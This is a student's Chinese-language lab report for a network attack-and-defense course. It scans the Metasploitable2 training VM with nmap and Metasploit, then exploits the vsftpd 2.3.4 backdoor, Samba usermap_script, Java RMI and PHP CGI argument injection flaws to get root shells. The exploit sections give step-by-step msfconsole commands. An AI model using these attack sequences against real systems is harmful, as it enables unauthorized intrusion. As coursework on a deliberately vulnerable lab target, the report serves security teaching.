20232426 2025-2026-1 《网络与系统攻防技术》实验六实验报告
20232426 2025-2026-1 《网络与系统攻防技术》实验六实验报告
一、实验目标(内容)
- 掌握metasploit、nmap的用法。
- 学习前期渗透的方法。
- 利用4个漏洞,实现对靶机的攻击。
二、实验知识点回顾
- Metasploit用法:“Search-Use-Show-Set-Exploit/run”,即搜索漏洞模块→加载模块→查看配置参数→设置目标IP等→攻击。
- 漏洞和端口:21端口对应Vsftpd源码包后门漏洞、139端口对应Samba MS-RPC命令注入漏洞、1099端口对应Java RMI Server命令执行漏洞、80端口对应PHP CGI参数注入漏洞,端口是快速定位漏洞的关键。
- 四种漏洞的原理:
- Vsftpd后门:特定版本被植入恶意代码,用户名以“😃”结尾时,服务器开放6200端口并允许任意代码执行;
- Samba注入:口令更新代码未过滤输入,恶意输入通过MS-RPC调用传递给/bin/sh,以nobody权限执行命令;
- Java RMI漏洞:RMI注册表和激活服务默认配置存在缺陷,可被利用实现远程代码执行;
- PHP CGI漏洞:CGI脚本未正确处理请求参数,攻击者可通过参数注入执行命令,还可能导致源代码泄露。
- 攻击之前和成功之后:攻击前需用nmap确认目标端口开放;利用后优先用
whoami或id验证权限,比如Vsftpd漏洞可直接获root,部分漏洞默认低权限。
5.漏洞返回会话:部分漏洞直接返回Shell,Java RMI、PHP CGI漏洞返回Meterpreter会话,需通过shell进入交互模式。
三、实验步骤
任务一 前期渗透
1. 主机发现
下载官方靶机Metasploitable2,解压,直接在VM中打开Metasploitable.vmx文件。

在靶机中输入ifconfig查看IP地址用于后续扫描,其IP地址为192.168.172.148。

在Kali虚拟机中输入sudo -i切换到root用户下(如果不是),输入msfconsole,执行ARP扫描,具体命令如下:
search arp_sweep # ARP扫描的辅助模块
use 0 # 使用arp_sweep模块
set RHOSTS 192.168.3.0/24 # 指定扫描网段
run

扫描结果显示,靶机处于在线状态,且标识为(VMware, Inc.),表明这是一台VMware虚拟机。

2. 端口扫描
- 使用nmap进行端口扫描:执行命令
nmap -sS -sV 192.168.172.148进行SYN扫描并进行版本探测,发现靶机开放大量端口且存在多个漏洞。

- 在虚拟机输入
msfconsole命令,在Metasploit中使用portscan/tcp扫描:具体命令如下,同样能扫描到靶机开放的端口。
use auxiliary/scanner/portscan/tcp # TCP端口扫描模块
set RHOSTS 192.168.172.148 # 设置目的IP
set THREADS 10 # 并发线程,提升扫描速度
run

3. 漏洞扫描
执行命令nmap -script=vuln 192.168.172.148对靶机进行漏洞扫描,发现多个端口存在高危漏洞,具体如下:
- 直接获取root权限的高危漏洞
- 21端口(FTP):vsFTPd 2.3.4后门漏洞(CVE-2011-2523),已验证可执行id命令获取root权限(uid=0 gid=0),是最易利用的漏洞。

- 6667端口(IRC):UnrealIRCd后门,攻击者可直接获取系统权限,无需复杂操作。

- 139/445端口(Samba):开放netbios-ssn和microsoft-ds服务,对应实验中要用到的Samba MS-RPC命令注入漏洞(usermap_script)。

- 远程代码执行/敏感信息泄露漏洞
- 1099端口(RMI):RMI注册表默认配置漏洞,支持远程加载恶意类,可直接执行代码。

- 80端口(HTTP):存在SQL注入、跨站请求伪造(CSRF)、Slowloris DoS漏洞,且暴露了phpMyAdmin、Tikiwiki等管理后台,风险极高。


- 5432端口(PostgreSQL):存在POODLE漏洞(CVE-2014-3566)、CCS注入漏洞(CVE-2014-0224),可解密数据库通信数据。

- 其他高风险漏洞
- 25端口(SMTP):Logjam漏洞(CVE-2015-4000)、Diffie-Hellman密钥强度不足,易遭中间人攻击。

- 8180端口(未知):同样存在Slowloris DoS漏洞,且多个管理页面的JSESSIONID未设置 httponly flag,易遭 Cookie劫持。

任务二:Vsftpd源码包后门漏洞(21端口)
- 执行命令
nmap -sV -p 21 192.168.172.148,确认21端口开放,运行vsftpd 2.3.4版本。

- 利用Metasploit框架利用该漏洞,具体命令如下:
use exploit/unix/ftp/vsftpd_234_backdoor # 利用vsftpd 2.3.4版本后门漏洞
set RHOSTS 192.168.172.148 # 设置目的IP
run

- 漏洞利用成功后直接获得靶机shell,可查看当前路径、目录文件,输入
whoami确认当前用户为root用户。

任务三: Samba MS-RPC Shell命令注入漏洞(139端口)
- 执行命令
nmap -p 139 192.168.172.148,确认139端口开放。

- 利用Metasploit框架的Samba服务usermap_script漏洞,具体命令如下:
use exploit/multi/samba/usermap_script # Samba服务的usermap_script漏洞
set RHOST 192.168.172.148 # 设置目的IP
run

- 漏洞利用成功后获得靶机shell,可查看当前路径、目录文件,确认当前用户为root用户。

任务四: Java RMI SERVER命令执行漏洞(1099端口)
- 执行命令
nmap -p 1099 192.168.172.148,确认1099端口开放。

- 利用Metasploit框架利用该漏洞,具体命令如下:
use exploit/multi/misc/java_rmi_server # Java RMI服务的远程代码执行漏洞
set RHOST 192.168.172.148 # 设置目的IP
run

- 漏洞利用成功后获得Meterpreter会话,输入
shell切换到交互式Shell,可查看靶机完整系统信息、当前路径及目录文件,确认当前用户为root用户。

任务五:PHP CGI参数执行注入漏洞(80端口)
- 执行命令
nmap -p 80 192.168.172.148,确认80端口开放。

- 利用Metasploit框架利用该漏洞,具体命令如下:
use exploit/multi/http/php_cgi_arg_injection # PHP-CGI的参数注入漏洞
set RHOST 192.168.172.148 # 设置目的IP
run

- 漏洞利用成功后获得Meterpreter会话,输入
shell切换到交互式Shell,可查看靶机完整系统信息、当前路径及目录文件,确认当前用户为root用户。

四、问题及解决
问题
使用search arp_sweep进行ARP扫描时,提示权限不足无法在eth0网络接口上进行数据包捕获。

解决
输入sudo -i切换为root用户后再执行ARP扫描,即可成功运行。
五、心得体会
这次实验根据教程来完成还是很快的,但是重点还是要放在对metasploit、nmap用法的掌握、前期渗透方法和对漏洞利用的攻击上。
相较于实验二中使用MSF生成shellcode,获取反弹连接Shell,这次试验我明显对于利用Metasploit流程更加熟悉了,不过还是得查询具体的教程流程,感觉还是得对操作流程更熟悉一些。
通过了解Metasploitable2靶机背景,我知道其是为安全学习专门设计的漏洞集合体,但这也启示我们,现实中老旧系统若长期不更新、组件不升级,可能出现很多漏洞,要重视系统补丁更新与安全配置的优化。

浙公网安备 33010602011771号